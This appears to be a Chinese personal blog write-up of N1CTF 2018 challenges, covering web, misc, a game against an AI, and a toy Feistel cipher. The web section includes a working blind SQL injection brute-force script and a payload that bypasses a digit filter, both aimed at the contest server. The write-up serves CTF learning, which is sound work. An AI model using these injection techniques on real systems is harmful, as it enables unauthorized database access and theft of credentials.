N1CTF-WRITE-UP

原创

郁离歌 于 2018-03-13 17:05:10 发布
分类专栏： CTF-WRITE-UP 文章标签： N1CTF XCTF CTF学习 writeup

N1CTF-WRITE-UP

写在前面：萌新第一次打国际赛（莫名紧张）没做出几题，国际赛就是国际赛，环境也十分接近实战，赛完也放出了源码和wp，十分良心的主办方，为Nu1L打call打call。（然而我并不会做几个题233333继续努力吧，还差得很远很远...）

2333333等我写wp的时候环境已经挂了，没办法懒是致命伤。~~所以下面用记忆和盗图做题23333333~~

WEB

77777

进去就看到了信息

目标是爆出password，需要post两个值hi和flag。然后还有一些waf。

waf我一般都是手测。。。。然后写记事本上（然后榕榕姐姐告诉我其实可以用burp，好吧我宇宙第一头铁王加智障属性）

然后发现居然没有ban了like，哈？

拿一叶飘零写过的用like注入的脚本稍作修改跑一下就出来了flag。

ps：这里的回显的在MY PROFIT的分数下。然后这个题目没有token，所有人payload的分数都会反应在上面，所以脚本跑的时候会出现很多奇怪的东西。需要多跑几遍。

贴脚本：

ps：这里说一下，我才发现之前有些贴的脚本没有格式化，然而我只贴原理，脚本还是要自己写的，看的不爽欢迎吐槽。（然而懒成虫的我是不会改bug的）

```
import requests
import string
import re

url = "http://47.97.168.223/"
flag = ""
true_flag = ""
s = requests.session()
for i in range(1,1000):
    payload = flag
    for j in "0123456789"+string.letters+"!@#$^&*(){}=+`~_":
        my = "11111 and password like 0x%s25"%(payload+hex(ord(j))[2:])
        data = {"flag":"1","hi":my}


        #url1 = url+my
        #print url1
        r =s.post(url=url,data=data)
        if '<grey>My Points</grey> | 1<br/>' in r.content:
            flag += hex(ord(j))[2:]
            true_flag += j
            print true_flag
            break
```

爆出flag:

```
N1CTF{he3l3locat233}
```

77777 2

我感觉这题是因为77777的上一题出现了非预期like，所以补一下。

burp测waf。

由于字典不全的缘故，只测出把like和一些东西给ban了，并没有测出数字被ban。

然后对于一个萌新来说，就并不会做了2333333333

问问梅子酒师傅，梅子酒说可能是oob攻击，搜了一下oob攻击，大致是dns盲注之类的，利用| dns通道带出信息。

然后dns打了一波。结果我的ceye什么回显都没有，我tm醉了。

后来才知道，原来过滤了数字！！！！

大约是过滤了数字2，3，4，5，9怪不得我dns的16进制打不出去。

过滤数字有啥？直接用加法就行了。

上一下我的头铁payload：

```
flag=0&hi=--(conv(hex((select substr((select pw ),
(1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1),1))),16,10))
```

--有加法的作用，或者使用%2b，我这里使用的是括号运算。

然后这里有个巨坑，把pw给ban了。

我在pw后面加个空格就过了！！！什么原理？？求师傅们指点一下。

---

my frofit回显的就是pw的ASCII，一个一个记录下来...

然后拿到flag。

```
N1CTF{HAHAH777A7AHA77777AAAA}
```

MISC

check in

不知道什么鬼，想想签到可能就是在首页或者公告里面。去看看发现了

IRC频道走起。

发现频道置顶有base64加密的字符串，拿在线网站跑一下得flag。

ps：这里遇到两件好玩的事情，第一是有人在频道里面放假flag。笑死。第二是base64字符串是少了==的，用python解报错的，而我用的在线网站，没有补全只是会出现乱码，该有的结果还是会出来的。

PPC

和AI的斗智斗勇，我发誓如果我打下PPC第二题就去参加最强大脑，然后并没有打下来，后面计算时间为20s，要我命啊？

lostgame

和AI下黑白棋，下输就行。233333脑洞很大我jio得ok。以前好不容易赢人机的，现在轮到要输。

ps：这里我并没有写一个AI和它打，直接下棋输掉出来的flag。

提供几条小技巧吧，先手两步的变化是确定的，之后也有规律可循，其实黑白棋的诀窍就是逼对手下四角，这样AI转化的棋子就越多，赢面就越大。（确实一开始我想过投机取巧来着，但是这题是wxy大神出的，他说加了几天的防御，日下来算他输）

盗图狗++

CRYPTO

baby_N1ES

给出了两个python文件。

challenge.py

```
from N1ES import N1ES
import base64
key = "wxy191iss00000000000cute"
n1es = N1ES(key)
flag = "N1CTF{****************************************}"
cipher = n1es.encrypt(flag)
print base64.b64encode(cipher) # HRlgC2ReHW1/WRk2DikfNBo1dl1XZBJrRR9qECMNOjNHDktBJSxcI1hZIz07YjVx
```

N1ES.py

```
# -*- coding: utf-8 -*-
def round_add(a, b):
    f = lambda x, y: x + y - 2 * (x & y)
    res = ''
    for i in range(len(a)):
        res += chr(f(ord(a[i]), ord(b[i])))
    return res


def permutate(table, block):
    return list(map(lambda x: block[x], table))


def string_to_bits(data):
    data = [ord(c) for c in data]
    l = len(data) * 8
    result = [0] * l
    pos = 0
    for ch in data:
        for i in range(0, 8):
            result[(pos << 3) + i] = (ch >> i) & 1
        pos += 1
    return result


s_box = [54, 132, 138, 83, 16, 73, 187, 84, 146, 30, 95, 21, 148, 63, 65, 189, 188, 151, 72, 161, 116,
63, 161, 91, 37,
         24, 126, 107, 87, 30, 117, 185, 98, 90, 0, 42, 140, 70, 86, 0, 42, 150, 54, 22, 144, 153, 36,
90, 149, 54, 156,
         8, 59, 40, 110, 56, 1, 84, 103, 22, 65, 17, 190, 41, 99, 151, 119, 124, 68, 17, 166, 125, 95,
65, 105, 133, 49,
         19, 138, 29, 110, 7, 81, 134, 70, 87, 180, 78, 175, 108, 26, 121, 74, 29, 68, 162, 142, 177,
```

```
143, 86, 129, 101,
         117, 41, 57, 34, 177, 103, 61, 135, 191, 74, 69, 147, 90, 49, 135, 124, 106, 19, 89, 38, 21, 41,
17, 155, 83,
         38, 159, 179, 19, 157, 68, 105, 151, 166, 171, 122, 179, 114, 52, 183, 89, 107, 113, 65, 161,
141, 18, 121, 95,
         4, 95, 101, 81, 156, 17, 190, 38, 84, 9, 171, 180, 59, 45, 15, 34, 89, 75, 164, 190, 140, 6, 41,
188, 77, 165,
         105, 5, 107, 31, 183, 107, 141, 66, 63, 10, 9, 125, 50, 2, 153, 156, 162, 186, 76, 158, 153,
117, 9, 77, 156,
         11, 145, 12, 169, 52, 57, 161, 7, 158, 110, 191, 43, 82, 186, 49, 102, 166, 31, 41, 5, 189, 27]


def generate(o):
    k = permutate(s_box, o)
    b = []
    for i in range(0, len(k), 7):
        b.append(k[i:i + 7] + [1])
    c = []
    for i in range(32):
        pos = 0
        x = 0
        for j in b[i]:
            x += (j << pos)
            pos += 1
        c.append((0x10001 ** x) % (0x7f))
    return c


class N1ES:
    def __init__(self, key):
        if (len(key) != 24 or isinstance(key, bytes) == False):
            raise Exception("key must be 24 bytes long")
        self.key = key
        self.gen_subkey()

    def gen_subkey(self):
        o = string_to_bits(self.key)
        k = []
        for i in range(8):
            o = generate(o)
            k.extend(o)
            o = string_to_bits([chr(c) for c in o[0:24]])
        self.Kn = []
        for i in range(32):
            self.Kn.append(map(chr, k[i * 8: i * 8 + 8]))
        return

    def encrypt(self, plaintext):
        if (len(plaintext) % 16 != 0 or isinstance(plaintext, bytes) == False):
            raise Exception("plaintext must be a multiple of 16 in length")
        res = ''
        for i in range(len(plaintext) / 16):
            block = plaintext[i * 16:(i + 1) * 16]
            L = block[:8]
            R = block[8:]
            for round_cnt in range(32):
                L, R = R, (round_add(L, self.Kn[round_cnt]))
            L, R = R, L
            res += L + R
```

```
        return res
```

数学问题，看懂框架直接能秒的题。

原来对密文再加密之后就是明文（出题的学长说这是非预期解2333333）
改一下challenge.py,管他那么多，循环100次。

```
from N1ES import N1ES
import base64
key = "wxy191iss00000000000cute"
n1es = N1ES(key)
flag = "N1CTF{****************************************}"
t='HRlgC2ReHW1/WRk2DikfNBo1dl1XZBJrRR9qECMNOjNHDktBJSxcI1hZIz07YjVx'
t=base64.b64decode(t)
s = n1es.encrypt(t)
print s
for i in range(0,100):
    s = n1es.encrypt(s)
    print s
```

拿到flag:

```
N1CTF{F3istel_n3tw0rk_c4n_b3_ea5i1y_s0lv3d_/--/}
```

这题是在队友之后做出来的，不知道他怎么做的2333333膜一发大佬，大佬带带我。

easy_fs

一题pwn和rsa结合的题。利用e的溢出带出p，利用p算q和d和m。从而拿到flag。

环境挂了嘿嘿，盗图狗属性++

不过听大腿说倒是有人用低指数广播攻击做出来了。打出了17个e等于3的信息，然后解方程。利用中国剩余定理解同余方程。大写的服！这就是国际级的比赛吗？高手如云啊！

ps：本萌新就做这么点题，题目质量确实很高，就是我不会做2333333

ps的ps：打n1的时候抽空去水了一kap0k的师傅们的校赛。

ps的ps的ps：加油加油！